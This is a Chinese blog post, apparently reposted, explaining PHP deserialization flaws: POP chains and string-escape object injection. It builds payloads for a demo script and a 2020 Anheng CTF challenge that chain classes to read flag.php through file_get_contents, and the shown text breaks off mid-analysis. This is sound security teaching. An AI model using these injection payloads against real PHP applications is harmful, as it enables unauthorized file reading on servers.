PHP反序列化漏洞总结
Posted lee-404
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP反序列化漏洞总结相关的知识,希望对你有一定的参考价值。
写在前边
之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑
前篇:https://www.cnblogs.com/Lee-404/p/12771032.html
1.POP链
POP,面向属性编程(Property-Oriented Programing),之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
2.字符逃逸+POP链构造
1)漏洞产生原因:
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
2)演示
借用大佬的案例来演示一下 https://blog.csdn.net/assasin0308/article/details/103711024
<?php
function filter($string){
$a = str_replace(‘x‘,‘zz‘,$string); //将字符串的x替换成zz
return $a;
}
$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password); //将username,password传入user数组
echo(serialize($user)); //序列化数组
echo "
";
$r = filter(serialize($user)); //将序列化好的字符中的x替换成zz
echo($r);
echo "
";
var_dump(unserialize($r));
$a=‘a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";‘;
var_dump(unserialize($a));
?>
PHP特性
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
上述案例,发现序列化后的的字符串变长了
而且相对于
$a=‘a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";‘;
其结果也能正常序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。
如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性
比如a:2:{i:0;s:6:"tr1ple";i:1;s:7:"233333";}是我们想要达到的效果,此时我们想要注入的payload明显为:
";i:1;s:7:"2333333";}
这个长度为21,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入21个x即可变成42个z,即可逃逸出21个空位,从而将我们的payload变为反序列化后得到的属性值
3)构造POP
$username = ‘tr1plexxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"1234567";}‘;
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user)).‘</br>‘;
$r = filter(serialize($user));
echo($r);
echo "
";
var_dump(unserialize($r));
3.实战(2020安恒4月WEB1)
访问,直接获取源码
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . ‘*‘ . chr(0), ‘ ‘, $data);
}
function read($data) {
return str_replace(‘ ‘, chr(0) . ‘*‘ . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = ‘gqy‘;
function __destruct(){
$c = ‘a‘.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return ‘nice‘;
}
}
$a = new A($_GET[‘a‘],$_GET[‘b‘]);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
首先,盲目分析一波,大致看来一下,是POP+字符逃逸类型。用C类中的__toString()
方法中的file_get_contents()
来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = ‘a‘.$this->b;
此处的$b
属性实例化为C对象即可触发__toString()
方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B
<?php
class A{
public $username;
public $password;
}
class B{
public $b = ‘gqy‘;
}
class C{
public $c;
}
$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
构造POP链得到序列化后,接下来就是字符逃逸了,源码中只序列化$a,我们先只序列化A分析一下
<?php class A{ public $username; public $password; } $a = new A(); $a->username=user; $a->password=passwd; echo serialize($a); ?>
得到
O:1:"A":2:{s:8:"username";s:4:"user";s:8:"password";s:6:"passwd";}
字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。
function write($data) { return str_replace(chr(0) . ‘*‘ . chr(0), ‘ ‘, $data); } function read($data) { return str_replace(‘ ‘, chr(0) . ‘*‘ . chr(0), $data); }
可以看到,可以看到